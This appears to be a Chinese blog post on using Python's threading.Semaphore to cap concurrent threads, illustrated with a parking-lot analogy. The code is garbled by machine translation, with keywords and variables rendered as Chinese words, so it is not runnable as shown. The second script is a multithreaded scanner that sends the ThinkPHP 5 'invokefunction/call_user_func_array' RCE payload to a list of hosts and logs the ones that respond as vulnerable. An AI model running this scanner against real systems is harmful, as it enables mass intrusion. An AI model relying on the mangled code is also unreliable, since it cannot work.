这篇文章将为大家详细讲解有关python多线程信号如何实现线程数控制,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。
前面写过一篇关于python多线程的实现的文章,但是效果不是最佳的,写法也不是很好。通过网上学习,也了解到了信号量这个东西。
百度给的解释:信号量是一种在多线程环境下使用的设施,该设施负责协调各个线程,以保证它们能够正确,合理的使用公共资源的设施,也是操作系统中用于控制进程同步互斥的量。
一个有趣的例子:假设停车场只有三个车位,一开始三个车位都是空的。这时如果同时来了五辆车,看门人允许其中三辆不受阻碍的进入,然后放下车拦,剩下的车则必须在入口等,待此后来的车也都不得不在入口处等待。这时,有一辆车离开停车场,看门人得知后,打开车拦,放入一辆,如果又离开两辆,则又可以放入两辆,如此往复。
简而言之,也就是能够控制多线程并发的数量。
简单记录一下如何通过信号实现线程数的控制。
简单代码:
# !- *编码:utf - 8 - * 进口线程 导入的时间 类测试(threading.Thread): #继承线程类 def __init__(自我,我,sem): 超级(测试,自我). __init__() #继承python的构造方法,这为python2的写法,python3可直接super () . __init__ () 自我。我=自我。sem(扫描电镜 def运行(自我): time . sleep (0.1) 打印(“测试我是:“+ str(意念)) self.sem.release() #释放线程数,线程数加1 if __name__==& # 39; __main__ # 39;: sem=threading.Semaphore(5) #设置可同时执行的最大线程数 因为我在范围(50): sem.acquire() #获得线程,可用线程数减1 t=测试(我,sem) #给执行函数传递值 t.start() #执行函数 sem=threading.Semaphore(5) #设置可同时开启的线程数,这里为5个
每执行一次函数的时候就获得一个线程数,sem.acquire();每次执行完函数,就会释放一个线程数,sem.release()。只要获得()的线程数达到了最大数(这里为5),后面的线程就只能先等待前面获得的线程执行完函数过后释放,后面的线程才能继续执行。
整个流程理解起来其实也很简单。
之前写过一次开10个线程的多线程脚本,但是方法不够好,这次用这个方法改了一下,贴在这里(扫描tp5是否存在代码执行漏洞的扫描脚本):
# - * -编码:utf - 8 - * 进口的要求 进口线程 导入的时间 导入系统 类检查(threading.Thread): #判断是否存在这个漏洞的执行函数 def __init__(自我、url、sem): 超级(检查、自我). __init__() #继承线程类的构造方法,python3的写法超(). __init__ () 自我。url=url 自我。sem(扫描电镜 def运行(自我): time . sleep (0.2) 参数=皊=指数/\ \ \ \ app/invokefunction&函数=call_user_func_array& var [0]=phpinfo& var [1] []=1, 试一试: 反应=请求。得到(url=自我。url, params=参数) 身体=responce.text 如果body.find (& # 39; PHP扩展# 39;)!=1: 张开(“success.txt"“+“) f1: f1.write(“存在tp5远程代码执行漏洞:“+自我。url +“\ n") print (“[+]“;+ self.url) 其他: 打印([-]“;+ self.url) 除了例外,犯错: 打印(“连接failed") 通过 self.sem.release() #执行完函数,释放线程,线程数加1 类主机(threading.Thread): #遍历文件操作 def __init__(自我,sem): 超级(主机,自我). __init__() #继承线程类的构造方法,python3的写法超(). __init__ () 自我。sem(扫描电镜 def运行(自我): 张开(sys。argv [1],“r") f: 主机在f.readlines (): # self.sem.acquire()遍历一个就获得一个线程,直到达到最大 主机=癶ttp://"+ host.strip () self.sem host_thread=检查(主机) host_thread.start() #执行检查()的执行函数 if __name__==& # 39; __main__ # 39;: sem=threading.Semaphore(10) #最大线程数为10个 线程=主机(sem) #传递sem值 thread.start ()
关于python多线程信号如何实现线程数控制就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看的到。